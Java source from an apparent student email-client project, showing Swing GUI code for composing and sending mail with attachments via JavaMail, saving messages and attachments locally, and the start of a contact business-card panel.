jButton_XoaAttach.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_XoaAttachActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
jPanel3.setLayout(jPanel3Layout);
jPanel3Layout.setHorizontalGroup(
jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel3Layout.createSequentialGroup()
.addComponent(jScrollPane_ListAttach, javax.swing.GroupLayout.PREFERRED_SIZE, 382, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(18, 18, 18)
.addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jButton_ThemAttach)
.addComponent(jButton_XoaAttach))
.addContainerGap(36, Short.MAX_VALUE))
);
jPanel3Layout.setVerticalGroup(
jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane_ListAttach, javax.swing.GroupLayout.PREFERRED_SIZE, 61, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(jPanel3Layout.createSequentialGroup()
.addComponent(jButton_ThemAttach)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jButton_XoaAttach)
.addContainerGap())
);
jPanel4.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jPanel4.border.title"))); // NOI18N
jPanel4.setName("jPanel4"); // NOI18N
jButton_Send.setText(resourceMap.getString("jButton_send.text")); // NOI18N
jButton_Send.setName("jButton_send"); // NOI18N
jButton_Send.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_SendActionPerformed(evt);
}
});
jButton_Send1.setText(resourceMap.getString("jButton_Send1.text")); // NOI18N
jButton_Send1.setName("jButton_Send1"); // NOI18N
jButton_Send1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_Send1ActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);
jPanel4.setLayout(jPanel4Layout);
jPanel4Layout.setHorizontalGroup(
jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel4Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jButton_Send, javax.swing.GroupLayout.PREFERRED_SIZE, 74, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 44, Short.MAX_VALUE)
.addComponent(jButton_Send1)
.addContainerGap())
);
jPanel4Layout.setVerticalGroup(
jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel4Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jButton_Send1)
.addComponent(jButton_Send, javax.swing.GroupLayout.DEFAULT_SIZE, 41, Short.MAX_VALUE))
.addContainerGap())
);
menuBar.setName("menuBar"); // NOI18N
fileMenu.setText(resourceMap.getString("fileMenu.text")); // NOI18N
fileMenu.setName("fileMenu"); // NOI18N
jMenu_New.setText(resourceMap.getString("jMenu_New.text")); // NOI18N
jMenu_New.setName("jMenu_New"); // NOI18N
jMenuItem_Mail.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_N, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Mail.setText(resourceMap.getString("jMenuItem_Mail.text")); // NOI18N
jMenuItem_Mail.setName("jMenuItem_Mail"); // NOI18N
jMenu_New.add(jMenuItem_Mail);
jMenuItem_Contact.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Contact.setText(resourceMap.getString("jMenuItem_Contact.text")); // NOI18N
jMenuItem_Contact.setName("jMenuItem_Contact"); // NOI18N
jMenu_New.add(jMenuItem_Contact);
jMenuItem_Task.setText(resourceMap.getString("jMenuItem_Task.text")); // NOI18N
jMenuItem_Task.setName("jMenuItem_Task"); // NOI18N
jMenu_New.add(jMenuItem_Task);
jMenuItem_Folder.setText(resourceMap.getString("jMenuItem_Folder.text")); // NOI18N
jMenuItem_Folder.setName("jMenuItem_Folder"); // NOI18N
jMenu_New.add(jMenuItem_Folder);
fileMenu.add(jMenu_New);
jSeparator1.setName("jSeparator1"); // NOI18N
fileMenu.add(jSeparator1);
jMenuItem_Save.setText(resourceMap.getString("jMenuItem_Save.text")); // NOI18N
jMenuItem_Save.setName("jMenuItem_Save"); // NOI18N
fileMenu.add(jMenuItem_Save);
jMenuItem_SaveAs.setText(resourceMap.getString("jMenuItem_SaveAs.text")); // NOI18N
jMenuItem_SaveAs.setName("jMenuItem_SaveAs"); // NOI18N
fileMenu.add(jMenuItem_SaveAs);
jMenuItem2.setText(resourceMap.getString("jMenuItem2.text")); // NOI18N
jMenuItem2.setName("jMenuItem2"); // NOI18N
fileMenu.add(jMenuItem2);
jSeparator5.setName("jSeparator5"); // NOI18N
fileMenu.add(jSeparator5);
jMenuItem_delete.setText(resourceMap.getString("jMenuItem_delete.text")); // NOI18N
jMenuItem_delete.setName("jMenuItem_delete"); // NOI18N
fileMenu.add(jMenuItem_delete);
jMenuItem3.setText(resourceMap.getString("jMenuItem3.text")); // NOI18N
jMenuItem3.setName("jMenuItem3"); // NOI18N
fileMenu.add(jMenuItem3);
jSeparator2.setName("jSeparator2"); // NOI18N
fileMenu.add(jSeparator2);
javax.swing.ActionMap actionMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getActionMap(JFrame_GuiMail.class, this);
jMenuItem_Close.setAction(actionMap.get("quit")); // NOI18N
jMenuItem_Close.setText(resourceMap.getString("jMenuItem_Close.text")); // NOI18N
jMenuItem_Close.setName("jMenuItem_Close"); // NOI18N
fileMenu.add(jMenuItem_Close);
menuBar.add(fileMenu);
jMenu_Edit.setText(resourceMap.getString("jMenu_Edit.text")); // NOI18N
jMenu_Edit.setName("jMenu_Edit"); // NOI18N
jMenuItem_Cut.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_X, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Cut.setText(resourceMap.getString("jMenuItem_Cut.text")); // NOI18N
jMenuItem_Cut.setName("jMenuItem_Cut"); // NOI18N
jMenu_Edit.add(jMenuItem_Cut);
jMenuItem_Copy.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Copy.setText(resourceMap.getString("jMenuItem_Copy.text")); // NOI18N
jMenuItem_Copy.setName("jMenuItem_Copy"); // NOI18N
jMenu_Edit.add(jMenuItem_Copy);
jMenuItem_Paste.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_V, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Paste.setText(resourceMap.getString("jMenuItem_Paste.text")); // NOI18N
jMenuItem_Paste.setName("jMenuItem_Paste"); // NOI18N
jMenu_Edit.add(jMenuItem_Paste);
jSeparator3.setName("jSeparator3"); // NOI18N
jMenu_Edit.add(jSeparator3);
jMenuItem_SelectAll.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_A, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_SelectAll.setText(resourceMap.getString("jMenuItem_SelectAll.text")); // NOI18N
jMenuItem_SelectAll.setName("jMenuItem_SelectAll"); // NOI18N
jMenu_Edit.add(jMenuItem_SelectAll);
jSeparator4.setName("jSeparator4"); // NOI18N
jMenu_Edit.add(jSeparator4);
jMenuItem1.setText(resourceMap.getString("jMenuItem1.text")); // NOI18N
jMenuItem1.setName("jMenuItem1"); // NOI18N
jMenu_Edit.add(jMenuItem1);
menuBar.add(jMenu_Edit);
jMenu_Tools.setText(resourceMap.getString("jMenu_Tools.text")); // NOI18N
jMenu_Tools.setName("jMenu_Tools"); // NOI18N
jMenuItem_Find.setText(resourceMap.getString("jMenuItem_Find.text")); // NOI18N
jMenuItem_Find.setName("jMenuItem_Find"); // NOI18N
jMenu_Tools.add(jMenuItem_Find);
menuBar.add(jMenu_Tools);
helpMenu.setText(resourceMap.getString("helpMenu.text")); // NOI18N
helpMenu.setName("helpMenu"); // NOI18N
aboutMenuItem.setAction(actionMap.get("showAboutBox")); // NOI18N
aboutMenuItem.setName("aboutMenuItem"); // NOI18N
helpMenu.add(aboutMenuItem);
menuBar.add(helpMenu);
setJMenuBar(menuBar);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addContainerGap()
.addComponent(jPanel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))
.addComponent(jToolBar1, javax.swing.GroupLayout.PREFERRED_SIZE, 663, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jToolBar1, javax.swing.GroupLayout.PREFERRED_SIZE, 55, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
public void ThucHienCacBuocGoiMailTuGiaoDienNguoiDung () throws Exception{
MimeMessage mess = GoiMailTuGiaoDienNguoiDung();
int idMail = luuMailVaoCSDL(mess,"Mails\\Sent\\");
luuAttachVaoCSDL(mess, idMail);
JOptionPane.showMessageDialog(null, "Qua trinh ket thuc");
}
/**
* luu cac part vao HDD
* @param cacPart
* @param idmal id dung de tao attachdto cung dung de tao thu muc luu tru cho cac attach
* @return cac AttachDTO cua file duoc luu
* @throws java.io.IOException
* @throws javax.mail.MessagingException
* da hoan thanh
*/
public static ArrayList<MyAttachDTO> luuTruCacPartVaoHDD (ArrayList <Part> cacPart, int idMail) throws IOException, MessagingException{
int i = 0;
String reDir = "\\MailAttachs\\";
ArrayList<MyAttachDTO> Kq = new ArrayList<MyAttachDTO>();
//<Kiem tra xem thu muc chua da co chua neu chua thi tao>
String dir = new File(".").getAbsolutePath();;//DoAnLyThuyet_JavaOutLookApp.getCurdir();
dir += "\\MailAttachs\\" + idMail + "\\";
reDir += idMail + "\\";
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}
//</Kiem tra xem thu muc chua da co chua neu chua thi tao>
for (Part part : cacPart){
//tao file moi
dir += i++ + part.getFileName();
reDir += i + part.getFileName();
file = new File(dir);
file.createNewFile();
//FileOutputStream outStream = new FileOutputStream(file);
//part.writeTo(outStream);
//ghi file
InputStream input = part.getInputStream();
FileOutputStream fos = new FileOutputStream(file);
BufferedOutputStream bos = new BufferedOutputStream(fos);
BufferedInputStream bis = new BufferedInputStream(input);
int aByte;
while ((aByte = bis.read()) != -1) {
bos.write(aByte);
}
bis.close();
bos.close();
//them duong dan vao Kq
Kq.add(new MyAttachDTO(0, idMail, reDir, part.getFileName()));
}
return Kq;
}
/**
* Luu tru message vao HDD
* @param mess
* @throws java.io.IOException
* @throws javax.mail.MessagingException
* @throws java.io.FileNotFoundException
* @return file path cua file chua mess
*/
public static String luuTruMineMessageVaoHDD(MimeMessage mess) throws IOException, MessagingException, FileNotFoundException {
//dataPath =
String reDir = "\\MailItems\\";
String dir = new File(".").getAbsolutePath();;//DoAnLyThuyet_JavaOutLookApp.getCurdir();
// JOptionPane.showMessageDialog(null, new File(dir).getCanonicalPath());
File file = new File(dir + "\\MailItems\\");
if (!file.exists()) {
file.mkdirs();
}
reDir += String.valueOf(mess.getSentDate().getTime()) + ".mjm";
dir += reDir;
file = new File(dir);
file.createNewFile();
FileOutputStream outStream = new FileOutputStream(file);
mess.writeTo(outStream);
return reDir;
//mess = new MimeMessage(mess.gets, is)
}
private MimeMessage taoMineMessageInputNguoiDung (boolean isToSend) throws Exception{
MyMail myMail = new MyMail(DoAnLyThuyet_JavaOutLookApp.getSmtp_host(), DoAnLyThuyet_JavaOutLookApp.getPop3_host(), DoAnLyThuyet_JavaOutLookApp.getUser()
, DoAnLyThuyet_JavaOutLookApp.getPass(), DoAnLyThuyet_JavaOutLookApp.getProxy(), DoAnLyThuyet_JavaOutLookApp.getPort());
Session session = myMail.getMailSession(isToSend);
//session.
MimeMessage message = new MimeMessage(session);
String user = myMail.getUser();
message.setFrom(new InternetAddress(user));
//Them danh sach nguoi nhan---------------------------------------------
String str_ToAdd = getJTextField_to().getText();
InternetAddress toAddress = new InternetAddress(str_ToAdd);
message.addRecipient(Message.RecipientType.TO, toAddress);
//----------------------------CC---------------------
String sAr_CCAdd[] = getJTextField_cc().getText().split(",");
//InternetAddress[] CCAddress = new InternetAddress[sAr_CCAdd.length]; // To get the array of addresses
InternetAddress CCAddress = new InternetAddress();
for( int i=0; i < sAr_CCAdd.length; i++ ) {
if (!sAr_CCAdd[i].equals("")){
CCAddress = new InternetAddress(sAr_CCAdd[i]);
message.addRecipient(Message.RecipientType.CC, CCAddress);
}
}
/*
for( int i=0; i < CCAddress.length; i++) {
message.addRecipient(Message.RecipientType.CC, CCAddress[i]);
}
*/
//---------------------------BCC---------------------------
String sAr_BCCAdd[] = jTextField_bcc.getText().split(",");
//InternetAddress[] BCCAddress = new InternetAddress[sAr_BCCAdd.length]; // To get the array of addresses
InternetAddress BCCAddress = new InternetAddress();
//Them danh sach nguoi nhanInternetAddress CCAddress = new InternetAddress();
for( int i=0; i < sAr_BCCAdd.length; i++ ) {
if (!sAr_CCAdd[i].equals("")){
BCCAddress = new InternetAddress(sAr_CCAdd[i]);
message.addRecipient(Message.RecipientType.CC, BCCAddress);
}
}
/*
for( int i=0; i < BCCAddress.length; i++ ) {
BCCAddress[i] = new InternetAddress(sAr_BCCAdd[i]);
}
for( int i=0; i < BCCAddress.length; i++) {
message.addRecipient(Message.RecipientType.BCC, BCCAddress[i]);
}
*/
//--------------------------------------------------------------------------
String str_Subject = jTextField_subject.getText();
message.setSubject(str_Subject);
String str_ContentType = "text/";
boolean b_IsSendHTML = jCheckBox_SendHTML.isSelected();
str_ContentType += b_IsSendHTML ? "html" : "plain";
String str_Content = jTextArea_noidung.getText();
/*
message.setContent(str_Content, str_ContentType);
* */
MimeBodyPart noiDungMail = new MimeBodyPart();
noiDungMail.setContent(str_Content, str_ContentType);
ListModel model = jList_CacAttach.getModel();
MimeBodyPart cacAttach[] = new MimeBodyPart[model.getSize()];
for (int i = 0; i <model.getSize(); i++){
File file = new File(model.getElementAt(i).toString());
DataSource source = new FileDataSource(file);
cacAttach[i] = new MimeBodyPart();
cacAttach[i].setDataHandler(new DataHandler(source));
cacAttach[i].setFileName(file.getName());
}
Multipart multiPart = new MimeMultipart();
multiPart.addBodyPart(noiDungMail);
for (int i = 0 ; i < cacAttach.length; i++)
multiPart.addBodyPart(cacAttach[i]);
message.setContent(multiPart);
//message.setContent(str_Content, str_ContentType);
return message;
}
/**
* Goi mail voi cac input cua nguoi dung
*/
private MimeMessage GoiMailTuGiaoDienNguoiDung() throws Exception
{
MimeMessage mess = taoMineMessageInputNguoiDung(true);
MyMail myMail = new MyMail(DoAnLyThuyet_JavaOutLookApp.getSmtp_host(), DoAnLyThuyet_JavaOutLookApp.getPop3_host(), DoAnLyThuyet_JavaOutLookApp.getUser()
, DoAnLyThuyet_JavaOutLookApp.getPass(), DoAnLyThuyet_JavaOutLookApp.getProxy(), DoAnLyThuyet_JavaOutLookApp.getPort());
mess.setSentDate(new Date());
mess.setContentID(String.valueOf(new Date().getTime()));
//luuAttachVaoCSDL(mess);
myMail.sendMail(mess);
return mess;
}
public static int luuMailVaoCSDL(MimeMessage mess, String duongDanThuMuc) throws MessagingException, IOException, IOException{
Folder folder = mess.getFolder();
Store store = null;
if (folder != null){
store = folder.getStore();
store.connect();
folder.open(Folder.READ_ONLY);
}
MyMailDTO mailDTO = new MyMailDTO(mess);
String duongDanFileChuaNoiDung = luuTruMineMessageVaoHDD(mess);
mailDTO.setM_DuongDanFileChuaNoiDung(duongDanFileChuaNoiDung);
mailDTO.setM_DuongDanThuMuc(duongDanThuMuc);
if (duongDanThuMuc.equals("Mails\\Sent\\"))
mailDTO.setM_TinhTrang(JEnum_TinhTrang.DaXem.value());
else
mailDTO.setM_TinhTrang(JEnum_TinhTrang.Moi.value());
MyMailBUS mailBUS = new MyMailBUS();
int mailID = mailBUS.themMail(mailDTO);
// JOptionPane.showMessageDialog(null, "Luu tru thanh cong mail ID:" + mailID);
if (folder != null && store != null){
folder.close(false);
store.close();
}
return mailID;
//mess = new MimeMessage(mess.gets, is)
}
/**
* Dau tien tao danh sach attach tu mess
* luu attach vao HDD sau do luu vao csdl
* @param mess MimeMessage chua cac attach
* @param idMail id cua MyMailDTO (dung de tao dinh danh cho file chua thong tin attach khi luu tren o cung)
* @return danh sach cai id cua cac attach moi dc tao ra
* @throws javax.mail.MessagingException
* @throws java.io.IOException
*/
public static ArrayList<Integer> luuAttachVaoCSDL(MimeMessage mess, int idMail) throws MessagingException, IOException{
ArrayList<Part> cacAttach = MyMail.layCacAttachCuaMail(mess);
ArrayList<MyAttachDTO> cacAttachDTO = luuTruCacPartVaoHDD(cacAttach, idMail);
ArrayList<Integer> Kq = new ArrayList<Integer>();
MyAttachBUS attachBUS = new MyAttachBUS();
for (MyAttachDTO attachDTO : cacAttachDTO){
int i = attachBUS.themAttach(attachDTO);
Kq.add(i);
}
return Kq;
}
private void jButton_SendActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_SendActionPerformed
try {
ThucHienCacBuocGoiMailTuGiaoDienNguoiDung();
} catch (Exception ex) {
Logger.getLogger(JFrame_GuiMail.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.getMessage());
}
}//GEN-LAST:event_jButton_SendActionPerformed
private void jButton_ThemAttachActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_ThemAttachActionPerformed
// TODO add your handling code here:
File cacFileDuocChon[] = moDialogChonFile(true);
DefaultListModel model = (DefaultListModel) jList_CacAttach.getModel();
for (File file : cacFileDuocChon){
model.addElement(file.getAbsolutePath());
}
jList_CacAttach.setModel(model);
}//GEN-LAST:event_jButton_ThemAttachActionPerformed
private void jButton_XoaAttachActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_XoaAttachActionPerformed
// TODO add your handling code here:
DefaultListModel model = (DefaultListModel) jList_CacAttach.getModel();
//model.
int soLuongAttachDuocXoa = 0;
int cacAttachDuocChon[] = jList_CacAttach.getSelectedIndices();
for (int i : cacAttachDuocChon){
model.remove(i - soLuongAttachDuocXoa++);
}
jList_CacAttach.setModel(model);
jScrollPane_ListAttach.setViewportView(jList_CacAttach);
}//GEN-LAST:event_jButton_XoaAttachActionPerformed
private void jButton_Send1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_Send1ActionPerformed
// TODO add your handling code here:
dispose();
}//GEN-LAST:event_jButton_Send1ActionPerformed
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
// TODO add your handling code here:
JDialog_ChonContact chonContact = new JDialog_ChonContact(this, true);
chonContact.setVisible(true);
//frame_Contact.add
if (chonContact.getCacEmailDuocChon().length() > 0)
jTextField_to.setText(chonContact.getCacEmailDuocChon().split(",")[0]);
chonContact.dispose();
}//GEN-LAST:event_jButton1ActionPerformed
private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed
// TODO add your handling code here:
JDialog_ChonContact chonContact = new JDialog_ChonContact(this, true);
chonContact.setVisible(true);
//frame_Contact.add
if (chonContact.getCacEmailDuocChon().length() > 0)
jTextField_cc.setText(jTextField_cc.getText() + "," + chonContact.getCacEmailDuocChon());
chonContact.dispose();
}//GEN-LAST:event_jButton2ActionPerformed
private void jButton4ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton4ActionPerformed
// TODO add your handling code here:
JDialog_ChonContact chonContact = new JDialog_ChonContact(this, true);
chonContact.setVisible(true);
//frame_Contact.add
if (chonContact.getCacEmailDuocChon().length() > 0)
jTextField_bcc.setText(jTextField_bcc.getText() + "," + chonContact.getCacEmailDuocChon());
chonContact.dispose();
}//GEN-LAST:event_jButton4ActionPerformed
private void jCheckBox_SendHTMLActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jCheckBox_SendHTMLActionPerformed
// TODO add your handling code here:
String html = "<html>\n\t<head>\n\t</head>\n\t<body>\n\t\t" + jTextArea_noidung.getText() +
"\n\t</body>\n</html>";
jTextArea_noidung.setText(html);
}//GEN-LAST:event_jCheckBox_SendHTMLActionPerformed
public static File[] moDialogChonFile(Boolean choPhepChonNhieuFile)
{
File Kq[] = new File[0];
JFileChooser fileChooser = new JFileChooser();
fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY);
fileChooser.setMultiSelectionEnabled(choPhepChonNhieuFile);
int ketQuaShowOpenDialog = fileChooser.showOpenDialog(null);
if (ketQuaShowOpenDialog == JFileChooser.APPROVE_OPTION){
//fileChooser.getf
Kq = new File[fileChooser.getSelectedFiles().length];
Kq = fileChooser.getSelectedFiles();
}
return Kq;
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new JFrame_GuiMail().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JButton jButton4;
private javax.swing.JButton jButton_Send;
private javax.swing.JButton jButton_Send1;
private javax.swing.JButton jButton_ThemAttach;
private javax.swing.JButton jButton_XoaAttach;
private javax.swing.JButton jButton_addressbook;
private javax.swing.JButton jButton_send2;
private javax.swing.JCheckBox jCheckBox_SendHTML;
private javax.swing.JLabel jLabel1;
private javax.swing.JList jList_CacAttach;
private javax.swing.JMenuItem jMenuItem1;
private javax.swing.JMenuItem jMenuItem2;
private javax.swing.JMenuItem jMenuItem3;
private javax.swing.JMenuItem jMenuItem_Contact;
private javax.swing.JMenuItem jMenuItem_Copy;
private javax.swing.JMenuItem jMenuItem_Cut;
private javax.swing.JMenuItem jMenuItem_Find;
private javax.swing.JMenuItem jMenuItem_Folder;
private javax.swing.JMenuItem jMenuItem_Mail;
private javax.swing.JMenuItem jMenuItem_Paste;
private javax.swing.JMenuItem jMenuItem_Save;
private javax.swing.JMenuItem jMenuItem_SaveAs;
private javax.swing.JMenuItem jMenuItem_SelectAll;
private javax.swing.JMenuItem jMenuItem_Task;
private javax.swing.JMenuItem jMenuItem_delete;
private javax.swing.JMenu jMenu_Edit;
private javax.swing.JMenu jMenu_New;
private javax.swing.JMenu jMenu_Tools;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel2;
private javax.swing.JPanel jPanel3;
private javax.swing.JPanel jPanel4;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane_ListAttach;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JSeparator jSeparator2;
private javax.swing.JSeparator jSeparator3;
private javax.swing.JSeparator jSeparator4;
private javax.swing.JSeparator jSeparator5;
private javax.swing.JTextArea jTextArea_noidung;
private javax.swing.JTextField jTextField_bcc;
private javax.swing.JTextField jTextField_cc;
private javax.swing.JTextField jTextField_subject;
private javax.swing.JTextField jTextField_to;
private javax.swing.JToolBar jToolBar1;
private javax.swing.JToolBar jToolBar2;
private javax.swing.JMenuBar menuBar;
// End of variables declaration//GEN-END:variables
/**
* @return the jTextField_cc
*/
public javax.swing.JTextField getJTextField_cc() {
return jTextField_cc;
}
/**
* @param jTextField_cc the jTextField_cc to set
*/
public void setJTextField_cc(javax.swing.JTextField jTextField_cc) {
this.jTextField_cc = jTextField_cc;
}
/**
* @return the jTextField_to
*/
public javax.swing.JTextField getJTextField_to() {
return jTextField_to;
}
/**
* @param jTextField_to the jTextField_to to set
*/
public void setJTextField_to(javax.swing.JTextField jTextField_to) {
this.jTextField_to = jTextField_to;
}
//private JList jList_Attach = new JList(new DefaultListModel());
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JFrame_GuiMail.java | Java | asf20 | 47,097 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JPanel_BusCard.java
*
* Created on Jun 21, 2009, 9:55:56 AM
*/
package doanlythuyet_javaoutlook.MyUserControl;
import BUS.MyContactBUS;
import DTO.MyContactDTO;
import java.io.IOException;
import java.sql.SQLException;
/**
*
* @author Administrator
*/
public class JPanel_BusCard extends javax.swing.JPanel {
/** Creates new form JPanel_BusCard */
public JPanel_BusCard() {
initComponents();
}
public void HienThiThongTin(int i) throws SQLException, IOException {
MyContactDTO contactDTO = new MyContactBUS().layTatCaContactBangID(i);
jLabel_Email.setText(contactDTO.getM_Email());
jLabel_Ten.setText(contactDTO.getM_Ten());
jLabel_CongTy.setText(contactDTO.getM_CongTy());
jLabel_DienThoai.setText(contactDTO.getM_DienThoai());
jLabel_DiaChi.setText(contactDTO.getM_DiaChi());
jLabel_CongTy1.setText(contactDTO.getM_NickName());
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jLabel_CongTy = new javax.swing.JLabel();
jLabel_Email = new javax.swing.JLabel();
jLabel_DienThoai = new javax.swing.JLabel();
jLabel_DiaChi = new javax.swing.JLabel();
jLabel_Ten = new javax.swing.JLabel();
jPanel_Nick = new javax.swing.JPanel();
jLabel_CongTy1 = new javax.swing.JLabel();
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JPanel_BusCard.class);
setBackground(resourceMap.getColor("Form.background")); // NOI18N
setBorder(new javax.swing.border.LineBorder(resourceMap.getColor("Form.border.lineColor"), 3, true)); // NOI18N
setMaximumSize(new java.awt.Dimension(200, 150));
setName("Form"); // NOI18N
setPreferredSize(new java.awt.Dimension(200, 150));
jLabel_CongTy.setText(resourceMap.getString("jLabel_CongTy.text")); // NOI18N
jLabel_CongTy.setName("jLabel_CongTy"); // NOI18N
jLabel_Email.setText(resourceMap.getString("jLabel_Email.text")); // NOI18N
jLabel_Email.setName("jLabel_Email"); // NOI18N
jLabel_DienThoai.setText(resourceMap.getString("jLabel_DienThoai.text")); // NOI18N
jLabel_DienThoai.setName("jLabel_DienThoai"); // NOI18N
jLabel_DiaChi.setText(resourceMap.getString("jLabel_DiaChi.text")); // NOI18N
jLabel_DiaChi.setName("jLabel_DiaChi"); // NOI18N
jLabel_Ten.setFont(resourceMap.getFont("jLabel_Ten.font")); // NOI18N
jLabel_Ten.setText(resourceMap.getString("jLabel_Ten.text")); // NOI18N
jLabel_Ten.setName("jLabel_Ten"); // NOI18N
